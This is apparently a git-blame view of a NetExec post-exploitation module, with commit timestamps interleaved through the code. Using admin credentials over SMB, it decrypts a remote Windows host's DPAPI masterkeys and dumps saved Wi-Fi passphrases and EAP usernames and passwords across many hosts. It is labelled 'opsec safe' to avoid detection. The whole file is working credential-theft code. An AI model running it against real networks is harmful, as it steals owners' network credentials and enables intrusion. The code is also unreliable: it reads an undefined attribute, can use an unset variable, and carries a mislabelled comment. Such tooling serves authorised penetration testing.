2022-07-18 23:59:14 +00:00
|
|
|
#!/usr/bin/env python3
|
|
|
|
# -*- coding: utf-8 -*-
|
|
|
|
|
2023-02-14 10:12:39 +00:00
|
|
|
from dploot.triage.masterkeys import MasterkeysTriage
|
|
|
|
from dploot.lib.target import Target
|
|
|
|
from dploot.lib.smb import DPLootSMBConnection
|
|
|
|
from dploot.triage.wifi import WifiTriage
|
|
|
|
|
2023-09-14 21:07:15 +00:00
|
|
|
from nxc.helpers.logger import highlight
|
2023-02-14 10:12:39 +00:00
|
|
|
|
|
|
|
|
2023-09-17 20:20:40 +00:00
|
|
|
class NXCModule:
|
2023-05-02 15:17:59 +00:00
|
|
|
name = "wifi"
|
2020-04-29 15:03:52 +00:00
|
|
|
description = "Get key of all wireless interfaces"
|
2023-05-02 15:17:59 +00:00
|
|
|
supported_protocols = ["smb"]
|
2020-04-29 15:03:52 +00:00
|
|
|
opsec_safe = True
|
|
|
|
multiple_hosts = True
|
|
|
|
|
|
|
|
def options(self, context, module_options):
|
2023-05-02 15:17:59 +00:00
|
|
|
""" """
|
2020-04-29 15:03:52 +00:00
|
|
|
|
|
|
|
def on_admin_login(self, context, connection):
|
2023-02-14 10:12:39 +00:00
|
|
|
host = connection.hostname + "." + connection.domain
|
|
|
|
domain = connection.domain
|
|
|
|
username = connection.username
|
|
|
|
kerberos = connection.kerberos
|
|
|
|
aesKey = connection.aesKey
|
|
|
|
use_kcache = getattr(connection, "use_kcache", False)
|
|
|
|
password = getattr(connection, "password", "")
|
|
|
|
lmhash = getattr(connection, "lmhash", "")
|
|
|
|
nthash = getattr(connection, "nthash", "")
|
|
|
|
|
|
|
|
target = Target.create(
|
|
|
|
domain=domain,
|
|
|
|
username=username,
|
|
|
|
password=password,
|
|
|
|
target=host,
|
|
|
|
lmhash=lmhash,
|
|
|
|
nthash=nthash,
|
|
|
|
do_kerberos=kerberos,
|
|
|
|
aesKey=aesKey,
|
|
|
|
no_pass=True,
|
|
|
|
use_kcache=use_kcache,
|
|
|
|
)
|
|
|
|
|
|
|
|
conn = None
|
|
|
|
|
|
|
|
try:
|
2023-05-02 15:17:59 +00:00
|
|
|
conn = DPLootSMBConnection(target)
|
2023-02-14 10:12:39 +00:00
|
|
|
conn.smb_session = connection.conn
|
|
|
|
except Exception as e:
|
|
|
|
context.log.debug("Could not upgrade connection: {}".format(e))
|
|
|
|
return
|
|
|
|
|
|
|
|
masterkeys = []
|
|
|
|
try:
|
|
|
|
masterkeys_triage = MasterkeysTriage(target=target, conn=conn)
|
|
|
|
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
|
|
|
except Exception as e:
|
|
|
|
context.log.debug("Could not get masterkeys: {}".format(e))
|
2023-05-02 15:17:59 +00:00
|
|
|
|
2023-02-14 10:12:39 +00:00
|
|
|
if len(masterkeys) == 0:
|
2023-04-21 10:17:50 +00:00
|
|
|
context.log.fail("No masterkeys looted")
|
2023-02-14 10:12:39 +00:00
|
|
|
return
|
|
|
|
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.success("Got {} decrypted masterkeys. Looting Wifi interfaces".format(highlight(len(masterkeys))))
|
2023-02-14 10:12:39 +00:00
|
|
|
|
|
|
|
try:
|
|
|
|
# Collect Chrome Based Browser stored secrets
|
|
|
|
wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys)
|
|
|
|
wifi_creds = wifi_triage.triage_wifi()
|
|
|
|
except Exception as e:
|
|
|
|
context.log.debug("Error while looting wifi: {}".format(e))
|
|
|
|
for wifi_cred in wifi_creds:
|
2023-05-02 15:17:59 +00:00
|
|
|
if wifi_cred.auth.upper() == "OPEN":
|
2023-02-14 10:12:39 +00:00
|
|
|
context.log.highlight("[OPEN] %s" % (wifi_cred.ssid))
|
2023-08-17 16:13:51 +00:00
|
|
|
elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]:
|
2023-02-14 10:12:39 +00:00
|
|
|
try:
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.highlight(
|
|
|
|
"[%s] %s - Passphrase: %s"
|
|
|
|
% (
|
|
|
|
wifi_cred.auth.upper(),
|
|
|
|
wifi_cred.ssid,
|
|
|
|
wifi_cred.password.decode("latin-1"),
|
|
|
|
)
|
|
|
|
)
|
2023-02-14 10:12:39 +00:00
|
|
|
except:
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password))
|
2023-08-17 16:13:51 +00:00
|
|
|
elif wifi_cred.auth.upper() in ['WPA', 'WPA2']:
|
|
|
|
try:
|
|
|
|
if self.eap_username is not None and self.eap_password is not None:
|
|
|
|
context.log.highlight(
|
|
|
|
"[%s] %s - %s - Identifier: %s:%s"
|
|
|
|
% (
|
|
|
|
wifi_cred.auth.upper(),
|
|
|
|
wifi_cred.ssid,
|
|
|
|
wifi_cred.eap_type,
|
|
|
|
wifi_cred.eap_username,
|
|
|
|
wifi_cred.eap_password,
|
|
|
|
)
|
|
|
|
)
|
|
|
|
else:
|
|
|
|
context.log.highlight(
|
|
|
|
"[%s] %s - %s "
|
|
|
|
% (
|
|
|
|
wifi_cred.auth.upper(),
|
|
|
|
wifi_cred.ssid,
|
|
|
|
wifi_cred.eap_type,
|
|
|
|
)
|
|
|
|
)
|
|
|
|
except:
|
|
|
|
context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password))
|
2023-02-14 10:12:39 +00:00
|
|
|
else:
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.highlight("[WPA-EAP] %s - %s" % (wifi_cred.ssid, wifi_cred.eap_type))
|